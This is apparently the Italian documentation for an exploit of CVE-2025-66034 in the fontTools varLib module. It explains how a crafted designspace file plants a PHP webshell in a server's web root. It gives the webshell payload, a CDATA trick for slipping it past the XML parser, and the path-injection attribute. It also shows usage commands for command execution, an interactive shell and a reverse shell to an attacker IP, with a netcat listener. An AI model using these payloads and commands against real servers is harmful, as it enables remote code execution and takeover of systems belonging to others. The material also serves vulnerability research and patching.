
Exploit e documentazione per CVE-2025-66034
fontTools è una libreria Python per la manipolazione di file di font. Il suo modulo varLib elabora file .designspace — un formato XML che descrive come più font master devono essere interpolati per produrre un font variabile.
Nelle versioni interessate esistono due debolezze:
1. Nome del file di output non sanificato
L'attributo <variable-font filename="..."> in un file designspace controlla dove varLib scrive il font di output compilato. La libreria non esegue alcuna validazione o normalizzazione di questo percorso prima di passarlo al filesystem. Un attaccante può fornire un percorso assoluto o una sequenza di path traversal per scrivere il file di output in qualsiasi posizione su cui il processo ha permessi di scrittura.
2. Contenuto XML passato direttamente nell'output
fontTools serializza i nomi degli assi dagli elementi <labelname> direttamente nella tabella dei nomi del font di output come byte grezzi, senza sanificare il contenuto. Qualsiasi stringa inserita all'interno di un blocco <labelname> — incluso codice PHP — finisce verbatim nel file scritto.
Insieme, queste due debolezze consentono a un attaccante che può inviare un file designspace a un endpoint web basato su fontTools di scrivere un file arbitrario contenente contenuto arbitrario in qualsiasi percorso scrivibile sul server.
Il file designspace contiene due iniezioni.
La prima è nell'elemento <labelname>:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
Le sezioni CDATA in XML consentono dati carattere arbitrari senza escaping delle entità, ma non possono contenere la sequenza ]]> perché quella termina la sezione. Il tag di chiusura PHP ?> causerebbe un errore di parsing se scritto ingenuamente. La sequenza ]]]]><![CDATA[> chiude una sezione CDATA subito dopo ]] e ne apre una nuova che inizia con >, quindi il contenuto finale renderizzato è <?php system($_REQUEST["cmd"]);?> — PHP sintatticamente valido — senza mai attivare un errore del parser XML.
La seconda iniezione è nel percorso di output:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools costruisce l'handle del file di output da questa stringa senza normalizzazione del percorso. Il file viene creato in quella posizione esatta.
varLib richiede almeno un font sorgente per compilare. Il master non deve essere un font reale — un TTF minimale con un singolo glifo vuoto è sufficiente per superare la validazione. Il TTF base64 incorporato in questo exploit è stato generato con fontTools FontBuilder e contiene solo un glifo .notdef con un contorno quadrato e le tabelle minime richieste (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
L'exploit invia il designspace e il TTF come POST multipart/form-data all'endpoint di generazione font dell'applicazione web. Il server passa i file a varLib.build(). varLib analizza il designspace, legge il master, compila il font variabile e lo scrive nel percorso specificato in filename= — che è la root web.
Il file scritto è un file di font binario con il payload PHP incorporato al suo interno. Il parser PHP scansiona i file alla ricerca di tag di apertura piuttosto che richiedere che il file sia interamente composto da PHP. Quando il server web elabora il file come PHP, trova <?php system($_REQUEST["cmd"]);?> e lo esegue. Tutto ciò che precede e segue il tag viene emesso così com'è e ignorato.
Il corpo della risposta è il binario del font grezzo. L'output dei comandi finisce tra due punti di riferimento prevedibili che fontTools scrive nella tabella dei nomi:
TestWeight400 — derivato dai campi famiglia e classe di peso nel TTF master incorporato]]>ThinMEOW2 — dall'elemento <labelname> francese nel designspaceL'exploit taglia la risposta tra queste due stringhe e rimuove i tag XML residui con BeautifulSoup per produrre un output di comando pulito.
pip install requests beautifulsoup4
Tutti e tre i parametri di destinazione sono obbligatori. Non ci sono valori predefiniti hardcoded.
--process-url URL completo dell'endpoint di elaborazione font
--shell-url URL completo in cui la webshell sarà raggiungibile dopo la scrittura
--write-path Percorso del filesystem su cui il server scriverà la shell
Opzionali:
--session Valore del cookie PHPSESSID (se il portale richiede autenticazione)
--no-plant Salta il passaggio di upload (shell già inserita)
--hostname Etichetta mostrata nel prompt interattivo
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
Avviare prima un listener:
nc -lvnp 4444
Poi attivare:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
Il payload della reverse shell viene codificato in base64 prima della trasmissione per evitare problemi di escaping dei metacaratteri della shell all'interno del parametro di query cmd.
esiste nella funzione build() del modulo varLib e nel parser del designspace.